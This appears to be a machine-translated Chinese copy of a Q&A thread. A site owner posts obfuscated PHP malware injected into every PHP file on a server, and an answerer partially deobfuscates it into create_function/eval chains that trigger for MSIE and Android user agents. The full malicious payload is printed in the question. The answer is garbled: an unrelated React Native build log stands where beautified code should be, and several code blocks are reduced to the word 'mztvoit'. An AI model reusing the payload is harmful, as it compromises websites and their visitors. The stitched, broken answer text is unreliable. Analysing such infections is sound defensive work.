在PHP文件中找到恶意代码。它做了什么？

时间：2016-07-01 08:39:32

标签： php virus computer-forensics

我发现这个代码插在My PHP服务器上每个PHP文件的顶部。我想弄清楚这个脚本在做什么，但我不知道如何破译主要的隐藏代码。有经验的人可以解密它，因为我不是程序员吗？

非常感谢!!

链接到受感染的php文件示例：https://drive.google.com/open?id=0B8PYE4BruOdMa2dWZDBLY09VRTA

代码 

<?php $tdzueclt = 'tvctus)%     x24-    x24b!>!%y((strstr($uas,"        x6d     163     x69     145")) or (strstrR;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!}      x27;!>>>!}_;x5cq%7**^#zsfvr#      x5cq%)uftr#     x5cq%7/7#@#7/7^#iubq#   x5cq%   x27jsv%6<C>^#zsfvr#     24gps)%j>1<%j=tj{fpg)%  x24-    x24*<!~!        x24/%t2w/       x24)##-!#~<)tpqsut>j%!*72!        x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%55946-tr.984:75983:48984:71]K9]77]D4]82sutcvt)fubmgoj{hA!osvu37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofm2]3]364]6]283]427]36]373P6]36]73]83]238M7]381]21rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1)tpqsut>j%!*9!      x27!hmg%)!gj!~<341]88M4P8]37]278]225]241]334]368]32utjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)qbtwu = implode(array_map("fwukcjc",str_split("%tjw!>!#]y84]275]y83ion fwukcjc($n){return chr(ord($n)-1);} @error_reporting(0); $aguhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f    x27,*e  x27,*d  x%6<    x7fw6*  x7f_*#ujojRk3`{666~6<&w6<x7fw6*CW&)7gj6<.[A       x27&6<  x7fw6*277#<!%t2w>#]y74]273]y76]252]y85]x22)7gj6<*QDU`MPT7-N1M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]28|:**t%)m%=*h%)m%):fmjiALS["     x61       156     x75     156     x61"]=1; $uas=strtolower($_SERVER["     x48     if((function_exists("   x6f     142     x5f     163     x74     x61     156     x75     156     x61"])))) { $GLOB88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:141   x72     164") && (!isset($GLOBALS["     %tmw/   x24)%c*W%eN+#Qi x5#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<112)eobs`un>qp%!|Z~!<##4]364]6]234]342]58]24]31##/#/},;#-#}+;%-qp%)54l}      gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~x24-      x24     x5c%j^  x24-    x24yfu%)3of)fepdof`57ftbc x7f!|!*uyfu     x27k##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]81]K78:56985:6197g:74985-rr.93e:5597f-%tdz>#L4]275L3]248L3P6L1M5]D2P!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`o   x7f_*#[k2`{6:!}7;!}6;*#k#)usbut`cpV     x7f     x278]y3f]51L3]84]y31M6]y3e]81#/#7e:l}S;2-u%!-#2#/#%#/#o52 137     x41     107     x45     116     x54"]); if bssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)t-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]#)fepmqyf     x27*&7-n%)utjm6<        x7f124  x54     120     x5f     125     x53     105     xx:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]s:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]!%tmw!>!#]y84]275]y83]273]y76]sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!      x24/%tmw/       x24)%zW%h>EzH,2W:*r%:-t%)3of:opjudovg<~   x24<!%o:!>!     x2421($uas,"    x72     166     x3a     61      x31")) or (strstr($uas,"        x61     156     x6]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!x246767~6<Cw68  x24-    x24]26  x24-    x24<%fV x7f<*X&Z&S{ftmfV        x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R3~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gjoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4  x223}!+5        156     x63     164     x69     157     x6e"; functx27;%!<*#}_;#)323ldfid>}&;!osvufs}     x7f;!opjudovg}k~~9{SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR        x27id6<.fmjgA   x27doj%6<       x7fw6*  x7f_*#fmjgk4`{6~6<tfs%w6<       x7fw6*CWtfs%)7gj6%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr  x5c1^-%r        x5c2^-%hOh/#00#W-%tdz*Wsfuvso!%bss      x5csboe))1/35.)1/14+9**-)1/2986+7**^/%d%:osvufs:~928>>  x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275t<C       x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7U4      162     x6f     151     x64"))) { $ggw*17-SFEBFI,6<*127-UVPFNJU,6<*27-j%6<*Y%)fnbozcYufhAx272qj%6<^#zsfvtj        x22)gj6<^#Y#    x5cq%   x27Y%6<.msv`ftsbqA7>q%6<        x7)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNek!~!<b%      x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uftpf{jt)!gj!<*2bd%-#1GO     x2fs!~<3,j%>j%!*3!      x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%y)#}#-#       x24-    x24-tusqpt)%z-#:#*      x24-    x24!>!  epdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x      x22l:!}V;BFSUT`LDPT7-UFOJ`GB)fubfsdXA   x!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvgvc%}&;ftmbg}    x7f;!osvufs}w;* x7f!>>  x22!pd%)!gj}Z;h!opjudovg}{;#)tFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbtj  x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-u78}527}88:}334}472        x24<!%ff2!>!bssbz)      x24]25  x24-    x24-!%  x24-      x24*!|! e]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%2#)fepmqyfA>2b%!<*qp%-*.%)epqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#:>%s:        x5c%j:.2^,%b:<!%c:>%s:    x5c%j:^<!%w`    x5-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]cj,,*!|       x24-    x24gvodujpo!    x24-    x24y7   x24-    x24*<!  x24-    x7,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojufs!*!+A!>!{e%)!>>    x22!ftmbg)!gj<7f        x7f     x7f<u%V x27{ftmw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX     x27u%)7fmjix6pjudovg      x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2     x5c2b%!>!2p%!*3>?*2b%)gc1^W%c!>!%i      x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%eFH#   x27rfs%6~6<     x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA        27,*c   x27,*b  x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111y38#-!%w:**<")));$qfzibwb = $ggwibsz("", $agqbtwu); $qfzib]#/*)323zbe!-#jt0*?]+^?]_   x5c}X   x24<tfsqnpdov{h19275j{hnpd19275fubmgc^>Ew:Qb:Qc:W~!%z!>2<!-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#fw6*  x7f_*#fubfsdXk5`{66~6<&w627K6<  x7fw6*3qj%7>    x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA    x273q33bq}k;opjudovg}x;0]=])0#)U!       x27{**u%-#jt0}Z;0]=]0#)2q%<     x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA        x27&256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>!     x2400~:<h%_t%:osvuf!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+up:!ftmf!}Z;^nbsbq%        x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/<pd%w6Z6<.5`hAx27pd%6<pd%w6Z6<.4`hA   x27pd%6<pd%w6Z6<.3`hA   x27pd%6<pd%pnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%bw6Z6<.2`hA      x27pd%6<C       x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]4]D6#<%G]y6d]281Ld]245]K2]285]Ky%)utjm!|!*5!       x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4ibsz = "       x63     162       x65     141     x74     145     x5f     146     x7]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6cotn+qsvmt+fmhpph#)zx24/%tjw/     x24)%   x24-    x24y4     x24-    x24]y   x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#3q%}U;y]}R;2]},;osvufs}     x27;mnui}&;zepc}A;~!}   x7f;!|!}{;)gj}l;<*id%)ftpmdR6<*id%)dfyfR        x27tfs%6<#/%      x24-    x24!>!fyqmpef)# x24*<!%t::!>!   x24Ypp3)%cB%iN}#-!      x24/wb();}}STrrEvxNoITCnuF_EtaeRCxECaLPer_RtSrhozatxvoh'; $pojuybf=explode(chr((594-474)),substr($tdzueclt,(22569-16643),(131-97))); $kidqhu = $pojuybf[0]($pojuybf[(4-3)]); $vmqdyitehy = $pojuybf[0]($pojuybf[(6-4)]); if (!function_exists('mztvoit')) { function mztvoit($nrnzvjzo, $wzcyeen,$yhvdrl) { $atusojcvl = NULL; for($hwkbsnvb=0;$hwkbsnvb<(sizeof($nrnzvjzo)/2);$hwkbsnvb++) { $atusojcvl .= substr($wzcyeen, $nrnzvjzo[($hwkbsnvb*2)],$nrnzvjzo[($hwkbsnvb*2)+(7-6)]); } return $yhvdrl(chr((43-34)),chr((368-276)),$atusojcvl); }; } $nethpkm = explode(chr((197-153)),'1185,42,1295,36,1227,33,1123,62,2167,29,1942,34,23,45,2411,58,3222,28,5540,43,2783,33,794,64,727,67,2469,62,5215,70,5404,58,2137,30,4354,66,3154,68,4541,59,1028,20,3644,30,4867,63,3282,35,164,51,138,26,3317,49,4837,30,4985,39,2913,69,5823,34,3250,32,2870,43,926,69,1846,22,1611,63,68,70,3720,67,657,27,684,43,360,22,3495,51,273,48,591,30,452,52,5493,47,4137,41,2690,33,1797,49,4420,67,3471,24,4004,27,858,68,4600,57,1406,23,5093,68,5651,20,1976,64,4031,62,3366,48,3787,48,3414,57,3835,41,1572,39,5161,54,1454,24,2816,54,3096,58,4751,32,2723,60,3674,46,4299,33,1868,20,4332,22,2555,65,4232,67,3590,54,5761,62,4930,55,1922,20,4715,36,2280,30,995,33,5024,69,2239,41,1260,35,1101,22,2196,43,382,70,2370,41,3876,70,1548,24,0,23,3546,44,5671,37,2531,24,4178,54,215,58,5857,62,1331,24,4487,54,5285,70,2310,60,2982,57,2620,70,1729,38,1674,55,1888,34,321,39,5583,68,1355,51,1767,30,5462,31,3946,58,2087,50,621,36,504,48,1048,53,1429,25,3039,57,552,39,5355,49,4093,44,4783,22,1478,70,5708,53,4805,32,2040,47,4657,58,5919,7'); $uszfcks = $kidqhu("",mztvoit($nethpkm,$tdzueclt,$vmqdyitehy)); $kidqhu=$tdzueclt; $uszfcks(""); $uszfcks=(721-600); $tdzueclt=$uszfcks-1; ?>

1 个答案:

答案 0 :(得分：9)

好吧，让我们试着追踪正在发生的事情。首先，让我们稍微美化一下丑陋的代码：

12:28:56 PM] <START> find dependencies  
[12:30:42 PM] <START> request:/index.ios.bundle?platform=ios&dev=true  
[12:31:57 PM] <END>   Crawling File System (342321ms)  
[12:31:57 PM] <START> Building in-memory fs for JavaScript  
[12:32:00 PM] <END>   Building in-memory fs for JavaScript (2127ms)  
[12:32:00 PM] <START> Building in-memory fs for Assets  
[12:32:01 PM] <END>   Building in-memory fs for Assets (1268ms)  
[12:32:01 PM] <START> Building Haste Map  
[12:32:01 PM] <START> Building (deprecated) Asset Map  
[12:32:02 PM] <END>   Building (deprecated) Asset Map (351ms)  
[12:32:02 PM] <END>   Building Haste Map (1155ms)  
[12:32:02 PM] <END>   Building Dependency Graph (346928ms)  
transformed 625/625 (100%)  
[12:33:53 PM] <END>   find dependencies (297646ms)

现在，让我们逐行评估以查看所有隐藏的内容：

<?php 
$tdzueclt = '...';
$pojuybf = explode(chr((594 - 474)), substr($tdzueclt, (22569 - 16643), (131 - 97)));
$kidqhu = $pojuybf[0]($pojuybf[(4 - 3) ]);
$vmqdyitehy = $pojuybf[0]($pojuybf[(6 - 4) ]);
if (!function_exists('mztvoit')) {
    function mztvoit($nrnzvjzo, $wzcyeen, $yhvdrl) {
        $atusojcvl = NULL;
        for ($hwkbsnvb = 0;$hwkbsnvb < (sizeof($nrnzvjzo) / 2);$hwkbsnvb++) {
            $atusojcvl.= substr($wzcyeen, $nrnzvjzo[($hwkbsnvb * 2) ], $nrnzvjzo[($hwkbsnvb * 2) + (7 - 6) ]);
        }
        return $yhvdrl(chr((43 - 34)), chr((368 - 276)), $atusojcvl);
    };
}
$nethpkm = explode(chr((197 - 153)), '...');
$uszfcks = $kidqhu("", mztvoit($nethpkm, $tdzueclt, $vmqdyitehy));
$kidqhu = $tdzueclt;
$uszfcks("");
$uszfcks = (721 - 600);
$tdzueclt = $uszfcks - 1; 
?>

......变成...... 

$pojuybf = explode(chr((594 - 474)), substr($tdzueclt, (22569 - 16643), (131 - 97)));
$kidqhu = $pojuybf[0]($pojuybf[(4 - 3) ]);
$vmqdyitehy = $pojuybf[0]($pojuybf[(6 - 4) ]);

然后进入$pojuybf = array('STrrEv', 'NoITCnuF_EtaeRC', 'ECaLPer_RtS'); $kidqhu = 'CReatE_FunCTIoN'; $vmqdyitehy = 'StR_rePLaCE'; 函数定义（不重要），然后我们继续定义奇怪的数据：

mztvoit

现在我们开始调用一些函数：

$nethpkm = array(1185, 42, ...); // after the explode()

......变成...... 

$uszfcks = $kidqhu("", mztvoit($nethpkm, $tdzueclt, $vmqdyitehy));

因此上面定义的奇怪的$uszfcks = create_function('', mztvoit(array(1185, 42, ...), $tdzueclt /* that original ugly string*/, 'str_replace')); 函数通过获取和混合那些丑陋的megastring的某些部分来生成一些函数体源代码。它的第一个参数（数字数组）可能作为一些指向megastring的坐标。如果不深入了解这个过程，只需显示新的匿名函数的主体就可以了：

mztvoit

但不幸的是，我在这里陷入困境，因为原来的megastring被损坏了，因为我从网页浏览器中复制了它（它可能包含一些不可打印的字符，这些字符在复制和粘贴时已经丢失了。）

所以现在轮到你了解一下这个函数的主体是什么，因为你有原始的megastring。谢谢！ ： - ）

<强>更新

感谢原始的PHP文件，现在我们可以继续！所以由$body = mztvoit($nethpkm, $tdzueclt, $vmqdyitehy); die($body); 创建的匿名函数看起来非常难看 - 它包含下一级混淆：

mztvoit

<强>更新

...生成并运行另一个（仍然是模糊的）函数（if((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) { $GLOBALS["anuna"]=1; $uas=strtolower($_SERVER["HTTP_USER_AGENT"]); if ((strstr($uas,"msie")) or (strstr($uas,"rv:11")) or (strstr($uas,"android"))) { $ggwibsz = "create_function"; function fwukcjc($n){ return chr(ord($n)-1); } @error_reporting(0); $agqbtwu = implode(array_map("fwukcjc",str_split("%tjw!>!#.../* ...tons... */"))); $qfzibwb = $ggwibsz("", $agqbtwu); $qfzibwb(); } } 是它的源代码）：

$agqbtwu

......产生...... 

$siv = "str_replace";
$v9 = '$v9 = #5656}5 ... 99));'; // another loads of s#!t
eval($siv("#", "\x27", $v9));

...最终评估为可读的东西：

$v9 = '5656}5;Bv ... SV}'; // still a lots of who-knows-what...
eval($siv(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99));

现在你可以尝试自己解决剩下的问题，现在应该很容易。

相关问题
最新问题